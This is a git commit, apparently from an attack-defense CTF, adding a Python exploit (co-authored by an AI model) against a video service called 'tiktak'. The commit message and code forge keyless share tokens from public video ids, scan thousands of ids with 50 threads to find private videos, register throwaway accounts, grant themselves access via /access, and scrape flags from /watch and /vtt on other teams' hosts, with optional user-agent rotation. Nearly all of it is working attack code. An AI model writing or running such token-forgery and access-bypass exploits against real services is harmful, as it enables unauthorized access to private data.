sploits: форж legacy share-токена tiktak

Единственный рабочий вектор на данный момент: LFI закрыли уже все команды
(проверил .1/.4/.5 -- везде 404), а keygen разобрали далеко не все.

Токен считается только от video id: seed=(seed*17+42)%62 по алфавиту base62,
30 символов, ключа нет. Форжим -> POST /access пишет строку в access ->
haveAccess() пропускает легально -> /watch отдаёт description, /vtt субтитры.

Поиск целей: приватное видео выдаёт себя размытым превью. /feed показывает
лишь 50 последних, а id растут ~500/мин из-за чужого флуда, поэтому
чекерские ролики лежат на глубине в сотни-тысячи id. Сканируем 3000 id в
50 потоков; echo отдаёт статику только на GET (HEAD => 405), так что
пробуем GET с Range: bytes=0-0 -- один байт вместо всего PNG.

6 отказов /access подряд => команда запатчена, выходим рано.

Проверено вживую: 3 флага с 10.10.10.5, 1 с 10.10.10.1, на 10.10.10.4
корректно определился патч.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
This commit is contained in:
2026-08-26 12:56:13 +03:00
co-authored by Claude Opus 5
parent 24b5dd9cdf
commit 2ae70fc165
+173
View File
@@ -0,0 +1,173 @@
#!/usr/bin/env python3
import sys
import re
import random
import requests
from concurrent.futures import ThreadPoolExecutor
USE_CUSTOM_USER_AGENT = False
FLAG_RX = re.compile(r"[A-Z0-9]{31}=")
USER_AGENTS = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15",
"Mozilla/5.0 (X11; Linux x86_64; rv:126.0) Gecko/20100101 Firefox/126.0",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0"
]
PORT = 5000
DEPTH = 3000 # id растут ~500/мин из-за флуда, приватные тонут глубоко
WORKERS = 50
MAX_FORGE_FAILS = 6 # столько подряд отказов /access => команда запатчена
WATCH_RX = re.compile(r"/watch/(\d+)")
FEED_RX = re.compile(r'src="[^"]*preview_(\d+)(_blured)?\.png"')
# echo отдаёт статику ТОЛЬКО на GET (HEAD => 405), поэтому пробуем GET,
# но с Range: качаем один байт вместо всего PNG.
PROBE_HEADERS = {"Range": "bytes=0-0"}
ALPHABET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
def legacy_token(vid):
"""Восстановлено из keygen/legacy/keygen.a (GenerateToken):
int seed = n;
for (i = 0; i < 30; i++) { seed = (seed*17 + 42) % 62; out[i] = alpha[seed]; }
Никакого ключа -- токен целиком выводится из публичного video id.
Состояние схлопывается в n%62 после первой итерации, так что на весь
сервис приходится всего 62 различных токена.
"""
seed = vid
out = []
for _ in range(30):
seed = (seed * 17 + 42) % 62
out.append(ALPHABET[seed])
return "".join(out)
def exploit(target_ip):
flags = set()
headers = {}
if USE_CUSTOM_USER_AGENT:
headers["User-Agent"] = random.choice(USER_AGENTS)
# -------------------------------------------------------------------------
# VULN: server/server.go handleAccess() + keygen/legacy/keygen.a
# if keygen.ValidateKey(key, vid) { s.db.AddAccess(ctx, vid, ac.GetId()) }
#
# Share-токен приватного видео считается ТОЛЬКО от video id, который виден
# в /feed. Форжим токен -> POST /access пишет строку в таблицу access ->
# haveAccess() пропускает нас легально -> /watch отдаёт description, а
# /vtt/?id=N субтитры. Обе точки, куда чекер кладёт флаг.
#
# Патч LFI на этот путь не влияет: сюда мы приходим с чистым числовым id
# и с настоящей записью о доступе.
# -------------------------------------------------------------------------
try:
s = requests.Session()
s.headers.update(headers)
base = f"http://{target_ip}:{PORT}"
# 1. нужен аккаунт: на /access висит RequiredMiddleware
login = "".join(random.choices("abcdefghijklmnopqrstuvwxyz", k=10))
r = s.post(f"{base}/register",
data={"login": login, "password": "pw123456"}, timeout=6)
if r.status_code not in (200, 302):
print(f"[-] {target_ip}: register -> {r.status_code}", file=sys.stderr, flush=True)
return flags
# 2. Приватное видео выдаёт себя размытым превью. /feed показывает лишь
# 50 последних, а id растут ~500/мин из-за чужого флуда, так что
# чекерские приватные ролики лежат на глубине в сотни-тысячи id.
# Сканируем диапазон параллельно, по одному байту на пробу.
feed = s.get(f"{base}/feed", timeout=6).text
ids = [int(x) for x in WATCH_RX.findall(feed)]
if not ids:
print(f"[!] {target_ip}: пустой /feed", file=sys.stderr, flush=True)
return flags
top = max(ids)
def is_private(vid):
try:
r = s.get(f"{base}/public/static/preview_{vid}_blured.png",
headers=PROBE_HEADERS, timeout=5)
return vid if r.status_code in (200, 206) else None
except requests.RequestException:
return None
span = range(top, max(0, top - DEPTH), -1)
with ThreadPoolExecutor(max_workers=WORKERS) as ex:
private = [v for v in ex.map(is_private, span) if v]
private.sort(reverse=True)
print(f"[*] {target_ip}: top={top}, приватных найдено {len(private)}",
file=sys.stderr, flush=True)
fails = 0
for vid in private:
try:
w = s.get(f"{base}/watch/{vid}", timeout=6)
except requests.RequestException:
continue
if w.status_code == 200:
# публичное (или уже открытое) -- флаг всё равно может лежать тут
flags.update(FLAG_RX.findall(w.text))
continue
if w.status_code != 403:
continue
# 403 => приватное и доступа нет: форжим токен
r = s.post(f"{base}/access",
data={"videoID": vid, "token": legacy_token(vid)},
timeout=6, allow_redirects=False)
if not r.headers.get("Location", "").endswith(f"/watch/{vid}"):
fails += 1
if fails >= MAX_FORGE_FAILS:
print(f"[!] {target_ip}: {fails} отказов подряд -- keygen запатчен",
file=sys.stderr, flush=True)
break
continue
fails = 0
found = set(FLAG_RX.findall(s.get(f"{base}/watch/{vid}", timeout=6).text))
found |= set(FLAG_RX.findall(
s.get(f"{base}/vtt/", params={"id": vid}, timeout=6).text))
if found:
flags.update(found)
print(f"[+] {target_ip}: видео {vid} -> {len(found)} флагов",
file=sys.stderr, flush=True)
except requests.RequestException as e:
print(f"[-] Request failed for {target_ip}: {e}", file=sys.stderr, flush=True)
# -------------------------------------------------------------------------
return flags
def main():
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target_ip>", file=sys.stderr, flush=True)
sys.exit(1)
target_ip = sys.argv[1]
try:
found_flags = exploit(target_ip)
if found_flags is None:
found_flags = []
elif isinstance(found_flags, str):
found_flags = [found_flags]
for flag in found_flags:
clean_flag = str(flag).strip()
if FLAG_RX.fullmatch(clean_flag):
print(clean_flag, flush=True)
except Exception as e:
print(f"[-] Exploit error for {target_ip}: {e}", file=sys.stderr, flush=True)
if __name__ == "__main__":
main()